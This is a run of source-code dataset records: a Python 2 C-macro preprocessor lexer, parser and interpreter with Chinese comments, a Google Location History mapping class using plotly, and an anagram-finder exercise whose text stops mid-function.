这样比如初始时lookahead(1)返回buffer[0]\n self.pointer = -1\n self.lexer = lexer\n\n @property\n def eos(self):\n return self.lexer.eof and self.pointer >= len(self.buffer)\n\n @property\n def not_eos(self):\n return not self.eos\n\n # 前瞻,不前进流指针\n def lookahead(self, n=1):\n self.cache_if_need(n)\n return self.buffer[self.pointer + n]\n\n def lookahead_array(self, n):\n self.cache_if_need(n)\n p = self.pointer\n return tuple(self.buffer[p:p + n])\n\n # 返回下一个token,前进一格流指针\n def next_token(self):\n self.cache_if_need(1)\n self.pointer += 1\n return self.buffer[self.pointer]\n\n def cache_if_need(self, n):\n _len = len(self.buffer)\n p = self.pointer\n\n # 初始值 0 <= -1 + 1\n if _len <= p + n:\n # 初始值 1 = -1+1-0+1\n n_to_cache = p + n - _len + 1\n i = 0\n while i < n_to_cache:\n t = self.lexer.next_token()\n # if self.lexer.eof():\n # # [x] 这个异常可以捕获,再想想;parser自己check eof token,而不是捕获异常\n # # 比如 print(1缺一个右括号,parser调用lexer会走到这里\n # raise LexerException('no more tokens')\n self.buffer.append(t)\n i += 1\n\n @property\n def pos(self):\n return self.buffer[self.pointer + 1].pos\n\n def flush_to_next_line(self):\n # 如果eof,则eos\n if self.lexer.flush_to_next_line():\n return True\n self.buffer = []\n self.pointer = -1\n return False\n\n\nclass Lexer:\n OPTION_OUTPUT_SKIP_TOKEN = False\n OPTION_LEXEME_USE_SLICE = False\n\n def __init__(self, chunk, chunkname=''):\n self.chunk = chunk # source code\n self.line = 1 # current line number\n self.column = 0\n self.last_column = 0 # 构造Token时指针已经移动到lexeme末尾了,所以要延迟一下\n self.pointer = 0\n self.chunkname = chunkname or chunk\n # 跟踪lexeme字符串,更新这个指针来开始一个新lexeme\n # res_token函数会结束并输出一个lexeme,然后更新这个指针为self.pointer\n self.lexeme_start_pointer = 0\n\n def next_token(self):\n\n def res_token(kind, value=None):\n column = self.last_column\n self.last_column = self.column\n lexeme = (self.lexeme_start_pointer, self.pointer) \\\n if Lexer.OPTION_LEXEME_USE_SLICE \\\n else self.chunk[self.lexeme_start_pointer:self.pointer]\n self.lexeme_start_pointer = self.pointer\n return Token((self.line, column), kind, value, lexeme, self.chunk)\n\n # skip\n # 原本是函数,现在为了支持哑Token展开了\n while self.test_char_in_charset(SKIP_FIRST_CHARSET):\n if self.test_prefix('//'):\n self.advance(2) # '//'\n # TODO 考虑为什么有很多eof-check;是不是应该用状态机;或者基于现在的手工模式来改进\n # TODO 修改所有while not,添加eof测试��用单行string,每种Token\n while self.not_eof and not self.test_char_predicate(is_newline):\n self.advance(1)\n res = res_token(TokenKind.Skip_LineComment)\n if Lexer.OPTION_OUTPUT_SKIP_TOKEN:\n return res\n elif self.test_prefix('/*'):\n # TODO [error-handle] unfinished long comment;eof了还没有读到*/\n self.advance(2) # '/*'\n while not self.test_prefix('*/'):\n # 注释会包含换行\n # 另一种方法是解析出来,然后数一下有多少换行\n if not self.newline():\n self.advance(1)\n self.advance(2) # '*/'\n res = res_token(TokenKind.Skip_BlockComment)\n if Lexer.OPTION_OUTPUT_SKIP_TOKEN:\n return res\n else:\n assert is_whitespace(self.char)\n self.advance(1)\n while self.test_char_predicate(is_whitespace):\n self.advance(1)\n res = res_token(TokenKind.Skip_Whitespaces)\n if Lexer.OPTION_OUTPUT_SKIP_TOKEN:\n return res\n # 被跳过的内容不输出token,但是column要更新\n self.last_column = self.column\n if self.eof:\n return res_token(TokenKind.Eof)\n\n c = self.char\n\n if c == '#':\n self.advance(1)\n return res_token(TokenKind.Sep_Pound)\n elif c == '{':\n self.advance(1)\n return res_token(TokenKind.Sep_LCurly)\n elif c == '}':\n self.advance(1)\n return res_token(TokenKind.Sep_RCurly)\n elif c == ',':\n self.advance(1)\n return res_token(TokenKind.Sep_Comma)\n elif c == '\\'':\n self.advance(1)\n # [x] 没有宽字符,但是转义没有处理\n if self.eof:\n self.error(\"unfinished char\")\n c = self.scan_char()\n if not self.test_char_is('\\''):\n self.error(\"unfinished char\")\n else:\n self.advance(1)\n # 题目要求char转int\n return res_token(TokenKind.Char, ord(c))\n elif c == '\\\"':\n s = self.scan_string()\n return res_token(TokenKind.String, s)\n else:\n if self.newline():\n return res_token(TokenKind.Newline)\n if self.test_prefix('L\\\"'):\n self.advance(1)\n # [x] 宽字符串如何处理\n s = unicode(self.scan_string())\n return res_token(TokenKind.WideString, s)\n if c in '.+-' or is_digit(c):\n t, v = self.scan_number()\n if t == NumberType.Decimal or t == NumberType.Hexadecimal or t == NumberType.Octal:\n return res_token(TokenKind.Int, v)\n else:\n assert t == NumberType.Float\n return res_token(TokenKind.Float, v)\n if c == '_' or is_letter(c):\n identifier = self.scan_identifier()\n # 关键字是这样处理的:先用id来lex,然后优先判定关键字\n res = KEYWORDS.get(identifier)\n if res:\n return res_token(res)\n else:\n return res_token(TokenKind.Identifier, identifier)\n self.error(\"unexpected symbol near %s\" % c)\n\n # 返回是否吃进换行符,如果是,更新行号和列号\n # 返回False的情况下,newline对当前字符什么都不做,交给调用者处理\n def newline(self):\n if self.test_prefix('\\r\\n') or self.test_prefix('\\n\\r'):\n self.advance(2)\n self.line += 1\n self.column = 0\n return True\n elif is_newline(self.char):\n self.advance(1)\n self.line += 1\n self.column = 0\n return True\n else:\n return False\n\n # 如果eof,你不应该索引chunk了\n @property\n def eof(self):\n return self.pointer >= len(self.chunk)\n\n @property\n def not_eof(self):\n return self.pointer < len(self.chunk)\n\n # test类函数会检查eof,如果因为遇到eof而失败,也是返回false\n # 下面的test类函数不必调用test-base,避免小调用,但是应该参考这个\n def test_base(self, predicate):\n return self.not_eof and predicate()\n\n # test是test类函数\n def try_advance_base(self, test, n):\n res = test()\n if res:\n self.advance(n)\n return res\n\n def test_char_is(self, c):\n return self.not_eof and self.char == c\n\n # 测试chunk接下来是否是s,类似于re.match\n def test_prefix(self, s):\n return self.chunk.startswith(s, self.pointer)\n\n def test_char_in_charset(self, charset):\n return self.not_eof and self.char in charset\n\n def test_char_predicate(self, predicate):\n return self.not_eof and predicate(self.char)\n\n def test_char_is_digit(self):\n return self.not_eof and is_digit(self.char)\n\n def try_advance_char_is(self, c):\n return self.try_advance_base(lambda: self.test_char_is(c), 1)\n\n def try_advance_prefix(self, s):\n return self.try_advance_base(lambda: self.test_prefix(s), len(s))\n\n def try_advance_char_in_charset(self, charset):\n return self.try_advance_base(lambda: self.test_char_in_charset(charset), 1)\n\n # 指针前进\n def advance(self, n):\n self.column += n\n self.pointer += n\n\n def error(self, msg):\n raise LexerException(\n \"\\n%s, %s, %s\\n%s\\n%s\" % (self.chunkname, (self.line, self.column), msg,\n self.chunk.splitlines()[self.line - 1], text_pointer(self.column)))\n\n @property\n def char(self):\n return self.chunk[self.pointer]\n\n # TODO 重写scan-id,支持universal-char-name\n # Identifier : [a-zA-Z_][a-zA-Z_0-9]*;\n def scan_identifier(self):\n pointer = self.pointer\n self.advance(1) # first char is checked\n while self.not_eof and is_identifier_char(self.char):\n self.advance(1)\n return self.chunk[pointer:self.pointer]\n\n def scan_universal_character_name(self):\n pass\n\n def scan_number(self):\n\n def lexeme():\n return self.chunk[pointer: self.pointer]\n\n def res_float():\n return NumberType.Float, float(lexeme())\n\n # 转为python都是int,所以后缀信息没用\n # 而且实测int函数不能解析后缀,所以要先解析再advance\n # u\n # ul\n # ull\n # l\n # lu\n # ll\n # llu\n def abandon_int_suffix():\n if not self.test_char_in_charset('lLuU'):\n return\n self.try_advance_prefix('ll')\n self.try_advance_prefix('LL')\n self.try_advance_char_in_charset('lLuU')\n self.try_advance_prefix('ll')\n self.try_advance_prefix('LL')\n self.try_advance_char_in_charset('lLuU')\n\n def abandon_float_suffix():\n self.try_advance_char_in_charset('fFlL')\n\n # 可以看到,手工人肉lex浮点数的ifelse复杂度已经超出了控制\n # 必须抽象可靠的模式,否则无法做错误处理\n # 写多了就发现模式了,而且这个和parser是一致的\n # 一个语法成分,要返回是否有这个成分,给调用者断言\n # 然后要处理内部发生的错误\n # 这个显然可以进一步抽象,从语法生成代码\n\n # exponent-part:\n # e signopt digit-sequence\n # E signopt digit-sequence\n def exponent_part():\n b = self.try_advance_char_in_charset('eE')\n if b:\n self.try_advance_char_in_charset('+-')\n if not digit_sequence():\n self.error('float miss digit-sequence')\n return b\n\n # digit-sequence:\n # digit\n # digit-sequence digit\n def digit_sequence():\n b = self.test_char_is_digit()\n while self.try_advance_base(self.test_char_is_digit, 1):\n pass\n return b\n\n pointer = self.pointer\n self.try_advance_char_in_charset('+-')\n c = self.char\n self.advance(1)\n if c == '.': # float\n # . digit-sequence exponent-part? float-suffix?\n if not digit_sequence():\n self.error('float miss digit-sequence')\n exponent_part()\n res = res_float()\n abandon_float_suffix()\n return res\n elif c == '0' and self.try_advance_char_in_charset('xX'):\n # hexadecimal-constant:\n # hexadecimal-prefix hexadecimal-digit\n # hexadecimal-constant hexadecimal-digit\n if not self.test_char_predicate(is_hex_digit):\n self.error(\"unfinished hex int\")\n while self.test_char_predicate(is_hex_digit):\n self.advance(1)\n value = int(lexeme(), 16)\n abandon_int_suffix()\n return NumberType.Hexadecimal, value\n else: # int or float\n assert is_digit(c)\n # 不管是int还是float,首先解析出整数\n digit_sequence()\n if self.test_char_in_charset('.eE'): # float\n # floating-point-constant:\n # fractional-constant exponent-part? floating-suffix?\n # digit-sequence exponent-part floating-suffix?\n #\n # fractional-constant:\n # digit-sequence? . digit-sequence # ?的情况上面处理过了\n # digit-sequence .\n if self.try_advance_char_is('.'):\n digit_sequence()\n exponent_part()\n res = res_float()\n abandon_float_suffix()\n return res\n else:\n assert self.test_char_in_charset('eE')\n if not exponent_part():\n self.error('float miss exponent-part')\n res = res_float()\n abandon_float_suffix()\n return res\n else: # int\n lex_ = lexeme()\n i = 0\n if lex_[0] in '+-':\n i += 1\n if lex_[i] == '0': # oct\n # octal-constant:\n # 0\n # octal-constant octal-digit\n while i < len(lex_):\n if not is_octal_digit(lex_[i]):\n self.error('octal literal syntax error')\n i += 1\n value = int(lexeme(), 8)\n abandon_int_suffix()\n return NumberType.Octal, value\n value = int(lexeme())\n abandon_int_suffix()\n return NumberType.Decimal, value\n\n # 扫描,完成转移,返回没有两端引号的文本内容\n def scan_string(self):\n self.advance(1) # first char is checked\n string_builder = []\n while not self.test_char_is('\\\"'):\n string_builder.append(self.scan_char())\n if not self.test_char_is('\\\"'):\n self.error(\"unfinished string\")\n else:\n self.advance(1) # read the quote\n return ''.join(string_builder)\n\n def scan_char(self):\n c = self.char\n self.advance(1)\n # 处理转义\n if c != '\\\\':\n return c\n if self.eof:\n self.error(\"unfinished string\")\n c = self.char\n self.advance(1)\n if c == 'a':\n return '\\a'\n elif c == 'b':\n return '\\b'\n elif c == 'f':\n return '\\f'\n elif c == 'n':\n return '\\n'\n elif c == 'r':\n return '\\r'\n elif c == 't':\n return '\\t'\n elif c == 'v':\n return '\\v'\n elif c == '\"':\n return '\"'\n elif c == '\\'':\n return '\\''\n elif c == '\\\\':\n return '\\\\'\n elif c == '/': # from leptjson\n return '/'\n elif c == '?':\n # python提示不支持这个转义字符\n self.error('python does not support escape sequence \\\\?')\n # return '\\?'\n elif is_octal_digit(c):\n # [x] 在三个八进制位或者一个非八进制位处结束\n # 这里已经吃进一个八进制位了,不会出错\n p = self.pointer - 1 # 回退一格\n counter3 = 2\n while counter3 > 0 and self.test_char_predicate(is_octal_digit):\n self.advance(1)\n counter3 -= 1\n v_ = self.chunk[p:self.pointer]\n return chr(int(v_, 8))\n elif c == 'x':\n p = self.pointer\n if not self.test_char_predicate(is_hex_digit):\n self.error('unfinished hex escape char')\n while self.test_char_predicate(is_hex_digit):\n self.advance(1)\n return chr(int(self.chunk[p:self.pointer], 16))\n self.error(\"invalid escape sequence near '\\\\%s'\" % c)\n\n # 将指针移动到下一行,该换行符也被跳过\n # 如果eof,返回True给TokenSteam,TokenSteam给出eos,parser结束\n def flush_to_next_line(self):\n while self.not_eof and not self.newline():\n self.advance(1)\n if self.eof:\n return True\n self.column = 0\n self.last_column = 0\n self.lexeme_start_pointer = self.pointer\n return False\n\n\n# endregion\n\n# region parser\n\n\nclass ParserException(Exception):\n pass\n\n\nblock_ctx = namedtuple('block_ctx', ['stat_star'])\ndefine_stat_ctx = namedtuple('define_stat_ctx', ['identifier', 'token_string_optional'])\nundef_stat_ctx = namedtuple('undef_stat_ctx', ['identifier'])\nbool_exp_ctx = namedtuple('bool_exp_ctx', ['value'])\nchar_exp_ctx = namedtuple('char_exp_ctx', ['value'])\nint_exp_ctx = namedtuple('int_exp_ctx', ['value'])\nfloat_exp_ctx = namedtuple('float_exp_ctx', ['value'])\n# 这里不想细分了,直接加个bool区别,还没有想清楚L怎么处理\nstring_exp_ctx = namedtuple('string_exp_ctx', ['is_long_str', 'value'])\naggregate_exp_ctx = namedtuple('aggregate_exp_ctx', ['fieldlist_optional'])\nfieldlist_optional_ctx = namedtuple('fieldlist_optional_ctx', ['token_string_star'])\nconditional_stat_ctx = namedtuple('conditional_stat_ctx',\n ['if_part', 'else_part_optional'])\nif_part_ctx = namedtuple('if_part_ctx', ['if_line', 'block'])\nelse_part_optional_ctx = namedtuple('else_part_optional_ctx', ['block'])\nifdef_ctx = namedtuple('ifdef_ctx', ['identifier'])\nifndef_ctx = namedtuple('ifndef_ctx', ['identifier'])\n\n\n# 返回AST,我们使用lisp\ndef parse(chunk, chunkname=''):\n OPTION_RECOVER_FROM_ERROR = False\n\n def error(msg): # TODO 这里有太多的局部函数,每次parse都会赋值一次,这是没有必要的,然而写成类很累赘\n raise ParserException(\n \"\\n%s, %s, %s\\n%s\\n%s\" %\n (chunkname, pos(), msg,\n chunk.splitlines()[pos()[0] - 1],\n text_pointer(pos()[1])))\n\n def test_lookahead_kind(kind, n=1):\n return lookahead(n).kind == kind\n\n def next_token():\n return token_steam.next_token()\n\n def lookahead(n=1):\n return token_steam.lookahead(n)\n\n def assert_lookahead_kind(kind):\n t = lookahead()\n if kind != t.kind:\n error(\"expect Token %s, get actual %s\" % (kind, t.kind))\n return t\n\n def assert_lookahead_kind_and_read(kind):\n t = lookahead()\n if kind != t.kind:\n error(\"expect Token %s, get actual %s\" % (kind, t.kind))\n else:\n next_token()\n return t\n\n def test_kind_and_read(kind):\n t = lookahead()\n b = t.kind == kind\n if b:\n next_token()\n return b\n\n def test_lookahead_kind_in(kind_set):\n return lookahead().kind in kind_set\n\n def test_lookahead_kind_not_in(kind_set):\n return not lookahead().kind in kind_set\n\n # 验证下一Token是标识符并返回标识符的名字\n def next_identifier():\n return assert_lookahead_kind_and_read(TokenKind.Identifier).value\n\n def pos():\n return token_steam.pos\n\n def test_lookahead_kind_sequence(kind_sequence):\n i = 0\n _len = len(kind_sequence)\n while i < _len:\n if not test_lookahead_kind(kind_sequence[i], i + 1):\n return False\n i += 1\n return True\n\n # star返回一个可空的tuple\n # plus返回非空的tuple\n # optional返回None或者ctx\n\n def block():\n def end_of_block():\n return test_lookahead_kind(TokenKind.Eof) or test_lookahead_kind_sequence(\n [TokenKind.Sep_Pound, TokenKind.Kw_Else]) or test_lookahead_kind_sequence(\n [TokenKind.Sep_Pound, TokenKind.Kw_EndIf])\n\n def stat_star():\n stat_list = []\n while not end_of_block():\n if test_lookahead_kind(TokenKind.Sep_Pound):\n stat_ = stat()\n stat_list.append(stat_)\n if end_of_block():\n break\n else:\n assert_lookahead_kind_and_read(TokenKind.Newline)\n else:\n assert_lookahead_kind_and_read(TokenKind.Newline)\n return tuple(stat_list)\n\n return block_ctx(stat_star=stat_star())\n\n def stat():\n assert_lookahead_kind(TokenKind.Sep_Pound)\n k = lookahead(2).kind\n if k == TokenKind.Kw_Define:\n return define_stat()\n elif k == TokenKind.Kw_UnDef:\n return undef_stat()\n else:\n assert k == TokenKind.Kw_IfDef or k == TokenKind.Kw_IfNDef, pos()\n return conditional_stat()\n\n def define_stat():\n assert_lookahead_kind_and_read(TokenKind.Sep_Pound)\n assert_lookahead_kind_and_read(TokenKind.Kw_Define)\n return define_stat_ctx(\n identifier=next_identifier(),\n token_string_optional=token_string_optional())\n\n def undef_stat():\n assert_lookahead_kind_and_read(TokenKind.Sep_Pound)\n assert_lookahead_kind_and_read(TokenKind.Kw_UnDef)\n identifier = next_identifier()\n return undef_stat_ctx(identifier=identifier)\n\n # 这个难一点\n def token_string_optional():\n if test_lookahead_kind_not_in({TokenKind.Kw_True, TokenKind.Kw_False,\n TokenKind.Char,\n TokenKind.Int, TokenKind.Float,\n TokenKind.String, TokenKind.WideString,\n TokenKind.Sep_LCurly}):\n return None\n k = lookahead().kind\n if k == TokenKind.Kw_True or k == TokenKind.Kw_False:\n return bool_exp()\n elif k == TokenKind.Char:\n return char_exp()\n elif k == TokenKind.Int:\n return int_exp()\n elif k == TokenKind.Float:\n return float_exp()\n elif k == TokenKind.String:\n return string_exp()\n elif k == TokenKind.WideString:\n return wide_string_exp()\n else:\n assert k == TokenKind.Sep_LCurly\n return aggregate_exp()\n\n def bool_exp():\n k = next_token().kind\n return bool_exp_ctx(value=True if k == TokenKind.Kw_True else False)\n\n def char_exp():\n return char_exp_ctx(value=next_token().value)\n\n def int_exp():\n return int_exp_ctx(value=next_token().value)\n\n def float_exp():\n return float_exp_ctx(value=next_token().value)\n\n def string_exp():\n # [x] 我的string是一起的,要处理一下L字符串\n string_builder = []\n while test_lookahead_kind_in((TokenKind.String, TokenKind.WideString)):\n string_builder.append(next_token().value)\n return string_exp_ctx(is_long_str=False, value=''.join(string_builder))\n\n def wide_string_exp():\n string_builder = []\n while test_lookahead_kind_in((TokenKind.String, TokenKind.WideString)):\n string_builder.append(next_token().value)\n return string_exp_ctx(is_long_str=True, value=''.join(string_builder))\n\n def aggregate_exp():\n next_token()\n fieldlist = fieldlist_optional()\n assert_lookahead_kind_and_read(TokenKind.Sep_RCurly)\n return aggregate_exp_ctx(fieldlist_optional=fieldlist)\n\n # fieldlist : token_string (',' token_string)* ','?;\n def fieldlist_optional():\n token_string_star = []\n i = token_string_optional()\n if i is None:\n return None\n token_string_star.append(i)\n while True:\n if test_lookahead_kind_sequence([TokenKind.Sep_Comma, TokenKind.Sep_RCurly]):\n next_token() # read comma\n break\n elif test_lookahead_kind(TokenKind.Sep_RCurly):\n break\n else:\n assert_lookahead_kind_and_read(TokenKind.Sep_Comma)\n t = token_string_optional()\n assert t\n token_string_star.append(t)\n return fieldlist_optional_ctx(token_string_star=token_string_star)\n\n def conditional_stat():\n if_part_ = if_part()\n else_part_optional_ = else_part_optional()\n assert_lookahead_kind_and_read(TokenKind.Sep_Pound)\n assert_lookahead_kind_and_read(TokenKind.Kw_EndIf)\n return conditional_stat_ctx(\n if_part=if_part_,\n else_part_optional=else_part_optional_\n )\n\n def if_part():\n assert_lookahead_kind(TokenKind.Sep_Pound)\n k = lookahead(2).kind\n if_line = ifdef() if k == TokenKind.Kw_IfDef else ifndef()\n assert_lookahead_kind_and_read(TokenKind.Newline)\n return if_part_ctx(\n if_line=if_line,\n block=block())\n\n def else_part_optional():\n if test_lookahead_kind_sequence((TokenKind.Sep_Pound, TokenKind.Kw_Else)):\n next_token()\n next_token()\n assert_lookahead_kind_and_read(TokenKind.Newline)\n return else_part_optional_ctx(block=block())\n return None\n\n def ifdef():\n assert_lookahead_kind_and_read(TokenKind.Sep_Pound)\n assert_lookahead_kind_and_read(TokenKind.Kw_IfDef)\n return ifdef_ctx(identifier=next_identifier())\n\n def ifndef():\n assert_lookahead_kind_and_read(TokenKind.Sep_Pound)\n assert_lookahead_kind_and_read(TokenKind.Kw_IfNDef)\n return ifndef_ctx(identifier=next_identifier())\n\n def parse_chunk(): # NOTE chunk与参数名字冲突了\n def output_err():\n assert parse_error_list\n for i, err in enumerate(parse_error_list):\n print>> sys.stderr, '-' * 10\n print>> sys.stderr, '| ID: %s | Chunk: %s | Type: %s |' % \\\n (i, chunkname,\n str(type(err)).replace(\"\", ''))\n print>> sys.stderr, err.__str__()\n print>> sys.stderr, '-' * 10\n raise ParserException('dumb syntax error, fix all syntax error to eliminate this error')\n\n if not OPTION_RECOVER_FROM_ERROR:\n block_ = block()\n eof_ = assert_lookahead_kind_and_read(TokenKind.Eof) # [x] assert_lookahead_kind_and_read(TokenKind.Eof)\n return block_, eof_\n\n # 这里有点丑,是这样的\n # 一条路是,我们遇到了错误,从except中恢复并继续parse\n # 然后就是你可能一直错到最后一行,也可能最后一行是正确的\n # 但是有错parser最后肯定要抛出异常\n block_ = None\n eof_ = None\n try:\n block_ = block()\n eof_ = assert_lookahead_kind_and_read(TokenKind.Eof) # [x] assert_lookahead_kind_and_read(TokenKind.Eof)\n except Exception as e:\n parse_error_list.append(e)\n if token_steam.flush_to_next_line():\n # file parsed completely, we output all error\n output_err()\n else:\n parse_chunk()\n if parse_error_list:\n output_err()\n return block_, eof_\n\n parse_error_list = []\n token_steam = TokenStream(Lexer(chunk, chunkname))\n chunkname = chunkname or chunk\n return parse_chunk()\n\n\n# endregion\n\n# region code generation\nclass Prototype:\n def __init__(self, ast):\n self.ast = ast\n\n\n# endregion\n\n# region vm\n\nclass RuntimeException(Exception):\n pass\n\n\n# 时间紧张。。直接执行ast\ndef execute(proto, predefined_names=None):\n defined_variables = {}\n if predefined_names:\n for name in predefined_names:\n defined_variables[name] = None\n visit_functions = {}\n\n def error(msg):\n raise RuntimeException(msg)\n\n def visit(ctx):\n # op = locals()['visit_' + type(ctx).__name__]\n op = visit_functions['visit_' + type(ctx).__name__]\n return op(ctx)\n\n def visit_block_ctx(ctx):\n for stat in ctx.stat_star:\n visit_stat_ctx(stat)\n\n def visit_stat_ctx(ctx):\n visit(ctx)\n\n def visit_define_stat_ctx(ctx):\n id_ = ctx.identifier\n token_string_optional = ctx.token_string_optional\n defined_variables[id_] = visit(token_string_optional) if token_string_optional else None\n\n def visit_undef_stat_ctx(ctx):\n id_ = ctx.identifier\n # [Different ways to Remove a key from Dictionary in Python | del vs dict.pop() – thispointer.com](\n # https://thispointer.com/different-ways-to-remove-a-key-from-dictionary-in-python/)\n defined_variables.pop(id_, None)\n\n def visit_bool_exp_ctx(ctx):\n return ctx.value\n\n def visit_char_exp_ctx(ctx):\n return ctx.value\n\n def visit_int_exp_ctx(ctx):\n return ctx.value\n\n def visit_float_exp_ctx(ctx):\n return ctx.value\n\n def visit_string_exp_ctx(ctx):\n return ctx.value\n\n def visit_aggregate_exp_ctx(ctx):\n fieldlist_optional_ = ctx.fieldlist_optional\n return visit_fieldlist_optional_ctx(fieldlist_optional_) if fieldlist_optional_ else tuple()\n\n def visit_fieldlist_optional_ctx(ctx):\n return tuple(visit(token_string) for token_string in ctx.token_string_star)\n\n def visit_conditional_stat_ctx(ctx):\n take_if, if_block = visit_if_part_ctx(ctx.if_part)\n if take_if:\n visit_block_ctx(if_block)\n elif ctx.else_part_optional:\n else_block = ctx.else_part_optional.block\n visit_block_ctx(else_block)\n # else return\n\n def visit_if_part_ctx(ctx):\n return visit(ctx.if_line), ctx.block\n\n def visit_ifdef_ctx(ctx):\n return ctx.identifier in defined_variables\n\n def visit_ifndef_ctx(ctx):\n return ctx.identifier not in defined_variables\n\n visit_functions = {k: v for k, v in locals().items() if k.startswith('visit_')}\n block_, eof_ = proto.ast\n visit_block_ctx(block_)\n return defined_variables\n\n\n# endregion\n\n# region dumper\n\n# 返回字符串\ndef dump(defined_variables):\n def py2cpp(o):\n if isinstance(o, bool):\n return 'true' if o else 'false'\n # NOTE BUG bool is int in python\n elif isinstance(o, int):\n return o.__str__()\n elif isinstance(o, float):\n return o.__str__()\n elif isinstance(o, str):\n return '\"%s\"' % o\n # [x] 宽字符串\n elif isinstance(o, unicode):\n return 'L\"%s' % o\n else:\n assert isinstance(o, tuple)\n return \"{%s}\" % ', '.join(py2cpp(i) for i in o)\n\n def define(name, value=None):\n return '#define %s %s' % (\n name, py2cpp(value) if value is not None else '')\n\n return '\\n'.join(\n define(name, value)\n for name, value in defined_variables.items())\n\n# endregion\n","sub_path":"cpp-macro-parser/PyMacroParser.py","file_name":"PyMacroParser.py","file_ext":"py","file_size_in_byte":37115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"85597822","text":"import os\nimport pandas as pd\nimport plotly.graph_objects as go\n\n\nclass MapMeClass:\n \"\"\" Class for all Google Location Services functions and properties\"\"\"\n\n def __init__(self, filepath):\n self.data = self._ReadJson(filepath)\n self.data = self._DeriveTimeIntervals(self.data)\n self.data = self._FixLatLong(self.data)\n self.fig = None\n self._originaldata = self.data\n\n def _ReadJson(self, filepath):\n \"\"\" Read JSON file provided by Google Location Services into a Dataframe\n\n args:\n directory: location of the json file\n filename: name of the json file\n\n returns:\n json_df dataframe containing the json data\n \"\"\"\n json_data = pd.read_json(filepath, orient='values')\n dict_list = json_data['locations'].tolist()\n json_df = pd.DataFrame.from_dict(dict_list)\n json_df = json_df.filter(items=['latitudeE7', 'longitudeE7', 'timestampMs'])\n return json_df\n\n def _DeriveTimeIntervals(self, json_df):\n \"\"\" Derive time properties from Google location services josn file time stamp\n\n args:\n df: location of the json file\n\n returns:\n json_df dataframe containing the json data\n \"\"\"\n date_time = pd.to_datetime(json_df['timestampMs'], unit='ms')\n json_df['year'] = date_time.dt.year\n json_df['month'] = date_time.dt.month\n json_df['day'] = date_time.dt.day\n json_df['hour'] = date_time.dt.hour\n json_df['min'] = date_time.dt.minute\n json_df['sec'] = date_time.dt.second\n\n json_df['timestamp_fixed'] = date_time.dt.to_pydatetime()\n json_df['timestamp_string'] = (json_df['month'].astype(str) + '/' +\n json_df['day'].astype(str) + '/' +\n json_df['year'].astype(str).astype(str) + ' ' +\n json_df['hour'].astype(str) + ':' +\n json_df['min'].astype(str))\n\n return json_df\n\n def _FixLatLong(self, json_df):\n \"\"\" Fix Lat and Long coordinates so Google Maps can Read them\n\n args:\n json_df: Dataframe derived from Jason file\n\n returns:\n json_df: Same Dataframe with updated latitude and longitude\n \"\"\"\n json_df['latitudeE7'] = json_df['latitudeE7'] / 10000000\n json_df['longitudeE7'] = json_df['longitudeE7'] / 10000000\n return json_df\n\n def _SetScatterData(self,\n mode='markers',\n markersize=10,\n markercolour='rgb(255,0,0)',\n opacity=0.3):\n\n marker_dict = dict(size=markersize,\n color=markercolour,\n opacity=opacity,)\n\n scatter_dict = dict(lat=self.data['latitudeE7'],\n lon=self.data['longitudeE7'],\n mode=mode,\n text=self.data['timestamp_string'],\n marker=marker_dict)\n\n self.scatterdata = go.Scattermapbox(scatter_dict)\n\n def _SetLayout(self,\n height=800,\n width=1200,\n style='outdoors',\n mapbox_access_token=None):\n\n start_lats = self.data['latitudeE7'].values\n start_longs = self.data['longitudeE7'].values\n\n center_dict = dict(lat=start_lats[int(len(start_lats)/2)],\n lon=start_longs[int(len(start_longs)/2)]\n )\n\n mapbox_dict =dict(accesstoken=mapbox_access_token,\n bearing=0,\n center=center_dict,\n pitch=0,\n zoom=7,\n style=style,\n )\n\n layout_dict = dict(autosize=True,\n height=height,\n width=width,\n hovermode='closest',\n mapbox=mapbox_dict\n )\n\n self.layout = go.Layout(layout_dict)\n\n def Filter(self, filter):\n \"\"\" Filter MapMe Class data by index\n\n args:\n filter: Boolean series filter\n \"\"\"\n self.data = self.data.loc[filter, :]\n\n def ClearFilter(self):\n \"\"\" Clear filter on self.data \"\"\"\n self.data = self._originaldata\n\n\n def PlotMap(self,\n mapbox_access_token,\n mode='markers',\n markersize=10,\n markercolour='rgb(255,0,0)',\n opacity=0.3,\n height=800,\n width=1200,\n style='outdoors',\n renderer=None,\n **kwargs):\n \"\"\" Plot location data on a plotly interactive map\n\n args:\n mapbox_access_token: Token required to access mapbox\n mode: Type of plot\n markersize: Marker size\n markercolour: Marker colour\n opacity: Marker opacity\n height: Height of figure\n width: Width of figure\n style: Style of map\n renderer: Plotly renderer type to use when plotting\n **kwargs: Other keywords ot be passed onto the \"show\"\" function\n\n return:\n self.fig: plotly figure\n \"\"\"\n\n # Set Data and Layout\n self._SetScatterData(mode=mode,\n markersize=markersize,\n markercolour=markercolour,\n opacity=opacity,)\n\n self._SetLayout(height=height,\n width=width,\n style=style,\n mapbox_access_token=mapbox_access_token)\n\n fig = go.Figure()\n fig.add_trace(self.scatterdata)\n fig.update_layout(self.layout)\n fig.show(renderer=renderer, **kwargs)\n self.fig = fig\n\n return self.fig\n\n\n","sub_path":"MapMe.py","file_name":"MapMe.py","file_ext":"py","file_size_in_byte":6029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"289147900","text":"'''\nWhat is an anagram? Well, two words are anagrams of each other if they both contain the same letters. For example:\n'abba' & 'baab' == true\n\n'abba' & 'bbaa' == true\n\n'abba' & 'abbba' == false\n\n'abba' & 'abca' == false\nWrite a function that will find all the anagrams of a word from a list. You will be given two inputs a word and an\narray with words. You should return an array of all the anagrams or an empty array if there are none.\nFor example:\nanagrams('abba', ['aabb', 'abcd', 'bbaa', 'dada']) => ['aabb', 'bbaa']\n\nanagrams('racer', ['crazer', 'carer', 'racar', 'caers', 'racer']) => ['carer', 'racer']\n\nanagrams('laser', ['lazing', 'lazy', 'lacer']) => []\n\n'''\n\n\n\n'''\ndef is_an_anagram(word, possible_anagram):\n # could be\n # return sorted(word) = sorted(possible_anagram)\n \n if len(word) != len(possible_anagram): # different lengths\n return False\n letter_number = 0\n for letter in sorted(word): # if any letters don't match\n if letter != sorted(possible_anagram)[letter_number]:\n return False\n letter_number = letter_number + 1\n return True # otherwise return true\n'''\ndef is_an_anagram(word, possible_anagram):\n return sorted(word) == sorted(possible_anagram)\n\ndef anagrams(word, list_of_possible_anagrams):\n anagram_list = []\n for possible_anagram in list_of_possible_anagrams:\n if is_an_anagram(word, possible_anagram):\n anagram_list.append(possible_anagram)\n 